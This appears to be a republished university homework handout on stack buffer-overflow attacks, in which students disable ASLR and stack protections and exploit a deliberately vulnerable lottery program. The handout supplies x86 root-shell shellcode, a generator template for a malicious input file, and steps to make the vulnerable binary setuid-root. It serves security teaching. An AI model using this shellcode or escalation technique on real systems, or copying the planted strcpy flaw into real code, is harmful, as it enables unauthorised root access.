原文地址:探索Buffer Overflow

Introduction

利用Buffer Overflow对程序的执行逻辑进行修改。

Buffer Overflow

Homework Overview

The learning objective of this homework is for you to gain first-hand experience with buffer-overflow attacks. Students are given three problems:

  1. The objective in this problem is to understand the flow execution of a program. You are given the source code of a program, and are allowed to change one function in the program. The objective is to change the behavior of the overall program.
  2. You are given a program that is vulnerable to a buffer-overflow attack. You should use this vulnerability to change the behavior of the overall program. You are not allowed to modify the source code of the program.
  3. You are given a set-root-uid program that is vulnerable to a buffer-overflow attack.You should use this vulnerability to obtain a root shell.You are not allowed to modify the source code of the program.

Note: The amount of code you have to write in this homework is small, but you have to understand the stack. The article "Smashing The Stack For Fun And Profit" is very helpful and gives ample details and guidance. We also encourage you to ask questions on Piazza.

Initial setup Preliminaries

  • Use the preconfigured Ubuntu machine available here. In order to run the image please install vmware or virtual box. Virtual box is free and can be downloaded here. A tutorial on how to open the image in virtual box on windows can be found here. The USERNAME is cs558 and PASSWORD is cs558cs558. The user cs558 is on the sudoers list and can run commands that require sudo access. This is the machine we will use for testing your submissions. If your submission doesn't work on that machine, you will get no points. It makes no difference if your submission works on another Ubuntu version (or another OS).

Using Gnu Debugger (GDB), or some equivalent, is essential. The useof GDB will be reviewed in the discussions sessions.
WARNING: The virtual machine image is 7.8 GB. Start Downloading early and make sure you have enough space on your computer.

  • DISABLE ASLR. Ubuntu and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Disabling address space randomization. Ubuntu, and several other Linux-based systems, use address space layout randomization (ASLR) to randomize the starting address of heap and stack. This makes it difficult to guess the address of the alternative code (on stack), thereby making buffer-overflow attacks difficult. Address space randomization can be disabled by executing the following command: sudo sysctl -w kernel.randomize_va_space=0 WARNING: This command does not survive through reboots. Whenever you boot your machine and before trying to solve any of the problems please rerun the command.
  • The StackGuard Protection Scheme. The GCC compiler implements stck canaries (via the StackGuard scheme) to prevent buffer overflow attacks. In the presence of this protection, our simple buffer overflow attack will not work. Youd should thus disable this protection during the compilation using the "-fno-stack-protection" option. For example, to compile a program example.c with StackGuard disabled, do: gcc -fno-stack-protector example.c
  • Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc, and by default, stacks are set to be non-executable. To change that, use the following option when compiling programs:

    • For executable stack: gcc -z execstack -o test test.c
    • For non-executable stack: gcc -z noexecstack -o test test.c
  • Starter files. You can find the homework files on piazza.
  • Obtaining your individual program. Each student will have a slightly different program based on their bu id. This is done as follows: In the directory for each problem (to be downloaded from Piazza), there will be an executable called "gen code.py". Execute it on your VM by running: python gen_code.py and then entering your student ID when prompted. "gen code.py" reads a file with the extension ".c.tmpl" and outputs a ".c" program by injecting code specific to each student.

You should work with your own individual program. Solutions that work for other student's programs but not for your own will not be accepted (and will raise eyebrows).

  • How to submit your homework. you should submit your homework on Gradescope. (Instructions for signing up to Gradescope are in the syllabus page.) The solution must be in form of a zip file containing 3 folders. Folder 1 should be named problem1, Folder 2 problem2 and Folder 3 problem3. Problem 1 must have three different lottery.c programs lottery1.c, lottery2.c and lottery3.c. Folder2 must contain generate input file.c. Folder3 must contain generate input file shell.c

Problem 1

Winning the lottery. Consider the following program "lottery.c". (This program is similar to the individualized program you will obtain by running gen code.py from within the directory of problem 1, in your VM.)

#include <stdio.h> /* for printf() */
#include <stdlib.h> /* for rand() and srand() */
#include <sys/time.h> /* for gettimeofday() */
int your_fcn()
{
  /* Provide three different versions of this.
   * version 1: must win at all costs.
   * version 2: win by knowing what the value of the rand() in the main function will be.
   * version 3: win by making the rand() function output the value 0.
   * Submit COPIES of this file (lottery1.c,
   * lottery2.c, and lottery3.c).
   */
  //the next line was intentionally commented out, this will not be the case
  //in your custom lottery.c file
  //char customized[vall];
  //code goes under this comment
  return 0;
}

int main()
{
  /* Seed the random number generator */
  struct timeval tv;
  gettimeofday(&tv, NULL);
  srand(tv.tv_usec);

  int rv;
  rv = your_fcn();

  /* Lottery time */
  if(rv != rand())
    printf("You lose\n");
  else
   printf("You win!\n");

  return EXIT_SUCCESS;
}

This program runs a simple lottery by picking a random integer uniformly at random using rand(). It draws your number by calling your fcn(), a function that you have complete control over. Your task is to write not one but three different versions of the function that each win the lottery every time. Each lottery version must meet the conditions in the comments. As a slight hint, note that the only way that we determine whether or not you win is if the program prints You win! (followed by a newline) at the end. We will be compiling them with address space randomization and stack protection turned off.

Important

While you are allowed to set the body of your fcn() as you wish, you are not allowed to modify main() itself.

Submitting

Create three copies of the lottery:lottery1.c,lottery2.c, and lottery3.c,each of which has a different implementation of your fcn(). Make sure to submit them as described at the beginning of this handout

Problem 2

Winning the lottery part 2, exploiting buffer-overflow. Consider the following program "lottery.c" provided in your starter files. Note in your starter file, you will see a file named "lottery.c.tmpl" please run gen code.py to get your custom "lottery.c" source code.

#include <stdio.h> /* for printf() */
#include <stdlib.h> /* for rand() and srand() */
#include <sys/time.h> /* for gettimeofday() */
#include <string.h>

int your_fcn(char *raw_input)
{
  //the next line was intentionally commented out, this will not be the case
  //in your custom lottery.c file
  //char customized[vall];

  char user_input[4];
  strcpy(user_input, raw_input); //copy raw_input into user_input
  return atoi(user_input);//convert to integer
}

int main()
{
  /* Seed the random number generator */
  struct timeval tv;
  gettimeofday(&tv, NULL);
  srand(tv.tv_usec);

  char str[512];
  FILE *inputfile;
  inputfile = fopen("inputfile", "r");
  fread(str, sizeof(char), 512, inputfile);
  int rv;
  rv = your_fcn(str);
  /* Lottery time */
  if(rv != rand())
    printf("You lose\n");
  else
    printf("You win!\n");

  exit(0);
}

This program runs a simple lottery by picking a random integer uniformly at random using rand(). It draws your number by reading it from an input file named "inputfile". Your task is to find the vulnerability in this program and write a program that generates a malicious input file that lets you win the lottery every time. For that purpose, you are provided with a template program "generate input file.c".As is, the program writes 512 bytes of NOP instructions. Modify generate input file.c to output an input file that lets you win each time you run lottery.

Important

  • While you are allowed to modify "generate input file.c" as you wish, you are not allowed to modify "lottery.c" itself!
  • Don't forget to compile lottery.c with stack-guard disabled and execstack enabled. You can achieve this by running gcc -fno-stack-protector -z execstack -o lottery lottery.c

Submitting

Submit "generate input file.c" as described at the beginning of this handout.

Problem 3: Winning the lottery part3, getting a root shell.

The source code of the lottery.c is exactly the same as in the previous problem. However unlike in problem2, in problem3 you will exploit the buffer- overflow vulnerability to get a root shell. Compile the vulnerable lottery program without StackGuard and with an executable stack, and make it set-root-uid:


sudo su (enter root password)
gcc -o lotter -z execstack -fno-stack-protector lottery.c
chmod 4755 lottery
exit

you now have a program that executes as root but can be ran by a regular user. Your task is to exploit the buffer-overflow vulnerability to corrupt the stack of the function your fcn so that when the function returns, instead of going back to main, it calls the shellcode, thereby creating a shell with root privilege. Hint: You need to know two things in order to complete your assignment:

  1. The address of your shellcode in memory.
  2. The address of the return pointer of the function "your fcn" relative to the buffer you are overflowing.

To help you obtain a root shell, you are provided with "generate input file shell.c":

/* Creates a malicious file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
  "\x31\xdb"       /* xor   %ebx,%ebx    */
  "\x6a\x17"       /* push  $0x17        */
  "\x58"           /* pop   %eax         */
  "\xcd\x80"       /* int   $0x80        */
  "\x31\xc0"       /* xorl  %eax,%eax    */
  "\x50"           /* pushl %eax         */
  "\x68""//sh"     /* pushl $0x68732f2f  */
  "\x68""/bin"     /* pushl $0x6e69622f  */
  "\x89\xe3"       /* movl  %esp,%ebx    */
  "\x50"           /* pushl %eax         */
  "\x53"           /* pushl %ebx         */
  "\x89\xe1"       /* movl  %esp,%ecx    */
  "\x99"           /* cdql               */
  "\xb0\x0b"       /* movb  $0x0b,%al    */
  "\xcd\x80"       /* int  $0x80         */
;

int main(int argc, char **argv)
{
  char buffer[512];
  FILE *badfile;

  int shellcode_size;
  shellcode_size = sizeof(shellcode);
  printf ("Length of shellcode: %d\n", sizeof(shellcode));

  /* Initialize buffer with 0x90 (NOP instruction) */
  memset(buffer, 0x90, 512);

  /* TODO Fill the buffer with appropriate contents here */
  /* Save the contents to the file "badfile" */
  badfile = fopen("./inputfile", "w");
  fwrite(buffer, 512, 1, badfile);
  fclose(badfile);
}

This program is provided for your convenience. The program already contains a shellcode. You can learn more about how to create your own shellcode here. Currently the program only prints 512 NOP instructions into the input file. Your job is to fill the buffer with the appropriate content.

Important

  • Don't forget to compile the lottery.c file with stack-guard disabled and execstack enabled. You can achieve this by running "gcc -fno-stack-protector -z execstack -o lottery lottery.c"
  • While you are allowed to modify "generate input file shell.c" as you wish, you are not allowed to modify "lottery.c" itself.

Submitting

Submit "generate input file shell.c" as described at the beginning of this handout.

Problem 4 lottery++, CS558 only.

In problem 3 you manually detected where the address of your shellcode is and hardcoded that address in "generate input file shell.c". In this problem your task is to automate that search. Write a program that automatically finds your shellcode address, and then proceeds to get a root shell.
You are left the choice of modifying "generate input file shell.c" or creating your own program(s). Your program(s) can be written in c or python.

Submitting

Submit your program(s) as described at the beginning of this handout, also add a readme file explaining how you did it and how to run your program(s).

(本文出自csprojectedu.com,转载请注明出处)


csprojectedu
751 声望201 粉丝

Microsoft, ACMer, 现BAT全栈工程师。


« 上一篇
SQL数据分析
下一篇 »
语言生成器

引用和评论

0 条评论